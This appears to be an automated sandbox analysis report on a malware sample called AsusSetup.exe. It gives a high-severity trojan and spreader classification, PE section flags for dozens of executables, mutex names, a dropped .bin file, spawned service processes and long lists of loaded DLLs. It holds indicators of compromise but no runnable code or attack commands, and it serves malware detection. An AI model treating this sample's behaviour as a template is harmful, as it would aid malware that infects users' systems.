Source: AppVClient.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: DiagnosticsHub.StandardCollector.Service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: FXSSVC.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: elevation_service.exe0.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: maintenanceservice.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msdtc.exe.0.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleCrashHandler64.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdate.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: policytool.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmid.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: rmiregistry.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: servertool.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ssvagent.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: tnameserv.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: unpack200.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateBroker.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ie_to_edge_stub.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateComRegisterShell64.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: cookie_exporter.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateCore.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: identity_helper.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: GoogleUpdateOnDemand.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 117.0.5938.132_chrome_installer.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: jabswitch.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java-rmi.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: java.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7z.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: javacpl.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7zFM.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: 7zG.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Acrobat.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcrobatInfo.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: acrobat_sl.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroBroker.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroCEF.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: setup.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedgewebview2.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_proxy.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_pwa_launcher.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: notification_click_helper.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pwahelper.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: msedge_proxy.exe0.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: pwahelper.exe0.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdate.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateBroker.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SingleClientServicesUpdater.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroCEF.exe0.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: SingleClientServicesUpdater.exe0.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AcroTextExtractor.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ADelRCP.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateComRegisterShell64.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateCore.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateOnDemand.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: MicrosoftEdgeUpdateSetup.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVDllSurrogate.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVDllSurrogate32.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVDllSurrogate64.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AppVLP.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: OneDriveSetup.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: ADNotificationManager.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: AdobeCollabSync.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: WCChromeNativeMessagingHost.exe.3.dr	Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: plugin-container.exe.3.dr	Binary string: ntdll.dll\Device\\Device\HarddiskVolumeP
Source: plugin-container.exe.3.dr	Binary string: \Device\\??\

Source: classification engine

Classification label: mal100.spre.troj.expl.evad.winEXE@7/130@156/19

Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe

File created: C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

Jump to behavior

Source: C:\Users\user\Desktop\AsusSetup.exe

File created: C:\Users\user\AppData\Roaming\9fbf4662b248c49c.bin

Jump to behavior

Source: C:\Windows\System32\alg.exe	Mutant created: \BaseNamedObjects\Global\Multiarch.m0yv-9fbf4662b248c49c9ea72c54-b
Source: C:\Users\user\Desktop\AsusSetup.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-9fbf4662b248c49c73779169-b
Source: C:\Users\user\Desktop\AsusSetup.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Multiarch.m0yv-9fbf4662b248c49c-inf

Source: C:\Windows\System32\FXSSVC.exe

File created: C:\Windows\TEMP\FXSSVCDebugLogFile.txt

Jump to behavior

Source: C:\Users\user\Desktop\AsusSetup.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: AsusSetup.exe

ReversingLabs: Detection: 73%

Source: AsusSetup.exe	String found in binary or memory: </LAUNCH_ICON>
Source: AsusSetup.exe	String found in binary or memory: </LAUNCH_BTN>

Source: unknown	Process created: C:\Users\user\Desktop\AsusSetup.exe "C:\Users\user\Desktop\AsusSetup.exe"
Source: unknown	Process created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe "C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe"
Source: unknown	Process created: C:\Windows\System32\alg.exe C:\Windows\System32\alg.exe
Source: unknown	Process created: C:\Windows\System32\AppVClient.exe C:\Windows\system32\AppVClient.exe
Source: unknown	Process created: C:\Windows\System32\FXSSVC.exe C:\Windows\system32\fxssvc.exe
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe"
Source: unknown	Process created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: newdev.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: devrtl.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\AsusSetup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\alg.exe	Section loaded: davhlpr.dll	Jump to behavior
